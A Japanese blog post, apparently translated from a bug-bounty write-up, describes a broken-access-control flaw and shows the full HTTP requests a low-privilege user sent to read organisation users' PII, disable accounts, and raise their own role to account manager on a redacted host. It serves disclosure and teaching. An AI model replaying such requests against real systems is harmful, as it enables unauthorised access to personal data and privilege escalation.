Shikata Ga Nai

Private? There is no such things.

Broken access control + misconfiguration = Beautiful privilege escalationを訳してみた

Hello there, ('ω')ノ

 

アクセス制御の破綻 + 設定ミス = 美しい権限昇格を。

 

脆弱性

 アクセス制御の破損

 権限昇格

 

記事:

 https://systemweakness.com/broken-access-control-misconfiguration-beautiful-privilege-escalation-e4fdfd018efa

 

今回は、最近見つけた権限昇格の脆弱性について。

 

このサイトの作成者/アカウント所有者には 2 つの役割があり。

アカウント所有者ユーザは管理者であり、完全なアカウント ユーザおよび。

その他の機能にアクセスできて。

作成者の役割は、組織内でいくつかのものを作成することしかできませんが。

ユーザ情報、UUID、その他の組織情報/PII などにはアクセスできず。

 

ユーザの役割

 

壊れたアクセス制御を見つけるためにほとんどのエンドポイントを試しましたが。

それらのほとんどは 403 が禁止されていて。

1 つのエンドポイントだけがユーザ情報/PII を読み取ることができて。

 

下記のエンドポイントにより、権限のないユーザが。

組織情報/PII にアクセスできるようになって。

 

GET /v1/account/customer/users?includeDetails=true HTTP/1.1 Host: dontlookhere Cookie: FewRoleUserCookies User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://dontlookhere Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close

 

壊れたアクセス制御

 

上記の壊れたアクセス制御により、エンドポイントが。

メール、電話番号、UUID、住所などの組織ユーザの。

情報にアクセスできることがわかり。

 

上記は脆弱性ですが、それでも権限昇格が必要で。

 

また、ほとんどの関数は、禁止されている 403 を返し。

ユーザの追加、ユーザの削除、およびその他の書き込み関数は、403 を返し。

少数のユーザ ロール アカウントで 1 つの関数のみが実行され、200 が返されたので。

下記のリクエストを試して。

 

PUT /v1/myaccountapi/account/customers/users/UUID-bd796c52dca7/status HTTP/1.1 Host: dontlookhere Cookie: FewUserCookies User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://dontlookhere Content-Type: application/json;charset=utf-8 X-Csrf-Token: X-Xsrf-Token: Content-Length: 69 Origin: https://dontlookhere Dnt: 1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close {“status”:”DISABLED”,”userId”:”UUID–886f-bd796c52dca7"}

 

上記のリクエストで、403なしでユーザのステータスを非アクティブ化に変更でき。

ユーザは非アクティブ化されたステータスに変更され。

再アクティブ化できることがわかり。


しかし、ここで 2 回目は、役割の変更機能を使用して。

自分の役割を作成者からアカウント マネージャにアップグレードすることができて。

 

    PUT /v1/myaccountapi/billing/customers/users/UUID-553486df4683/roles HTTP/2
    Host: dontlookhere
    Cookie: FewUserCookies
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
    Accept: application/json, text/plain, */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Referer: https://dontlookhere
    Content-Type: application/json;charset=utf-8
    X-Csrf-Token:
    Content-Length: 3
    Origin: https://dontlookhere
    Dnt: 1
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    Te: trailers

     [1]

 

ロール [2] は作成者で、ロール [1] はアカウント マネージャで。

そのため、Cookie を作成者ロール アカウントの Cookie に置き換え。

UUID を同じ作成者ロール アカウント UUID に変更し。

上記の壊れたアクセス制御から取得して。

UUID を取得できたので、他のユーザのロールを編集することもできて。

リクエストは正常に実行されて。

 

 

少数のユーザによって実行されたリクエストとは。

アカウントの役割がアカウント マネージャーに変更され。

自分が組織の管理者になって。

アカウントがアカウント マネージャに変更されて。

 

 

したがって、エスカレートできる機能は次のとおりで。

 ユーザの有効化/無効化

 ユーザの PII/情報へのアクセス

 自分の役割とユーザの役割を変更し、アカウント所有者の役割を取得

 

Best regards, (^^ゞ